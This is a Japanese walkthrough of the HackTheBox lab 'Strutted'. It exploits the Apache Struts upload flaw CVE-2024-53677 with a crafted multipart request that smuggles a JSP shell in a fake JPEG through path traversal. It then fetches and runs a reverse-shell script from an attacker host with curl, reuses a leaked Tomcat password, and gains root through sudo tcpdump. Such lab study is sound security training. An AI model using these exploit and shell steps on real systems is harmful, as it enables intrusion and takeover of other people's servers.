概要
HackTheBox「Strutted」のWriteupです。
User Flag
ポートスキャンを実行します。
$ nmap -Pn -sCV -A -T4 -p- 10.10.11.59 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://strutted.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.9p1 |
80 | http | nginx 1.18.0 |
ドメインが分かったので/etc/hosts
に追記します。
10.10.11.59 strutted.htb
http://strutted.htb/
へアクセスします。
右上のDownload
からWebサイトのソースコードをダウンロードできました。
pom.xml
からApache struts 6.3.0.1
がフレームワークとして利用されていると分かりました。
(省略)
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<struts2.version>6.3.0.1</struts2.version>
<jetty-plugin.version>9.4.46.v20220331</jetty-plugin.version>
<maven.javadoc.skip>true</maven.javadoc.skip>
<jackson.version>2.14.1</jackson.version>
<jackson-data-bind.version>2.14.1</jackson-data-bind.version>
</properties>
apache struts cve 2024
などで検索すると、RCEの脆弱性CVE-2024-53677
を発見しました。
この脆弱性は、パストラバーサルを利用して任意のファイルを任意のディレクトリにアップロード出来るようです。
それにより悪意のあるJSPファイルをアップロードすることでRCEに繋げられるようです。
ファイルアップロード機能のコードを確認すると、jpeg
,png
,gif
ファイル拡張子が許可されていると分かりました。
private boolean isAllowedContentType(String contentType) {
String[] allowedTypes = {"image/jpeg", "image/png", "image/gif"};
for (String allowedType : allowedTypes) {
if (allowedType.equalsIgnoreCase(contentType)) {
return true;
}
}
return false;
}
拡張子の判定の処理を見ます。
ファイルのマジックナンバーでアップロード制限をしています。
private boolean isImageByMagicBytes(File file) {
byte[] header = new byte[8];
try (InputStream in = new FileInputStream(file)) {
int bytesRead = in.read(header, 0, 8);
if (bytesRead < 8) {
return false;
}
// JPEG
if (header[0] == (byte)0xFF && header[1] == (byte)0xD8 && header[2] == (byte)0xFF) {
return true;
}
// PNG
if (header[0] == (byte)0x89 && header[1] == (byte)0x50 && header[2] == (byte)0x4E && header[3] == (byte)0x47) {
return true;
}
// GIF (GIF87a or GIF89a)
if (header[0] == (byte)0x47 && header[1] == (byte)0x49 && header[2] == (byte)0x46 &&
header[3] == (byte)0x38 && (header[4] == (byte)0x37 || header[4] == (byte)0x39) && header[5] == (byte)0x61) {
return true;
}
マジックナンバーでテスト用のjpegファイルを作成し、ファイルのアップロードに成功しました。
$ print '\xFF\xD8\xFF' > test.jpeg
┌──(kali㉿kali)-[~/Strutted]
└─$ echo 'hello' >> test.jpeg
様々なPoCを見るとマジックナンバーの後にJSPコードを挿入出来るようです。
JSPのシェルコードは下記を利用しました。
POSTリクエストのBodyを一部抜粋すると下記のようになりました。
(省略)
-----------------------------270809347519694441851360887477
Content-Disposition: form-data; name="Upload"; filename="test.jpeg"
Content-Type: image/jpeg
ÿØÿ
<%@ page import="java.io.*, java.util.*, java.net.*" %>
<%
(省略)
%>
-----------------------------270809347519694441851360887477
Content-Disposition: form-data; name="top.UploadFileName"
../../revshell.jsp
-----------------------------270809347519694441851360887477--
注意すべき点はname="Upload"
,name="top.UploadFileName"
と、中間のboundaryで--
を付けない事です。
これを付けるとパストラバーサルに失敗します。
アップロードに成功するとレスポンスから、uploads/20250408_144513/../../revshell.jsp
にファイルをアップロードできたと分かりました。
revshell.jsp?action=cmd&cmd=ls
のようなリクエストを送信するとRCEが成功しています。
以下のコマンドを順に実行しリバースシェルを張ります。
cmd=curl http://10.10.14.136:8000/shell.sh -o /tmp/shell.sh
chmod +x /tmp/shell.sh
bash /tmp/shell.sh
tomcatのシェルを取得できました。
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.136] from (UNKNOWN) [10.10.11.59] 56452
bash: cannot set terminal process group (1052): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@strutted:~$ whoami
whoami
tomcat
TTYの設定をします。
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
tomcatのアカウント認証ファイルtomcat-users.xml
をみるとパスワードの文字列が記載されています。
(省略)
<!--
<user username="admin" password="<must-be-changed>" roles="manager-gui"/>
<user username="robot" password="<must-be-changed>" roles="manager-script"/>
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
--->
(省略)
得られたパスワードでSSH接続に成功しました。
$ ssh james@strutted.htb
/home/james/user.txt
からユーザーフラグを入手できました。
$ cat user.txt
129b84a2a8e0925db69c37fe9c51ae0b
Root Flag
sudo -l
で確認すると/usr/sbin/tcpdump
が設定されています。
$ sudo -l
Matching Defaults entries for james on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User james may run the following commands on localhost:
(ALL) NOPASSWD: /usr/sbin/tcpdump
GTFOBinsで権限昇格を見つけました。
記載通りに実行し、bashにSUIDを設定できました。
-bash-5.1$ COMMAND='chmod u+s /bin/bash'
-bash-5.1$ TF=$(mktemp)
-bash-5.1$ echo "$COMMAND" > $TF
-bash-5.1$ chmod +x $TF
-bash-5.1$ sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel
-bash-5.1$ whoami
james
-bash-5.1$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14 2024 /bin/bash
bashのSUIDを利用してroot権限に昇格出来ました。
-bash-5.1$ /bin/bash -p
bash-5.1# whoami
root
/root/root.txt
からルートフラグを入手できました。
bash-5.1# cat /root/root.txt
39fb83665a3ce29520d7807a9363bad5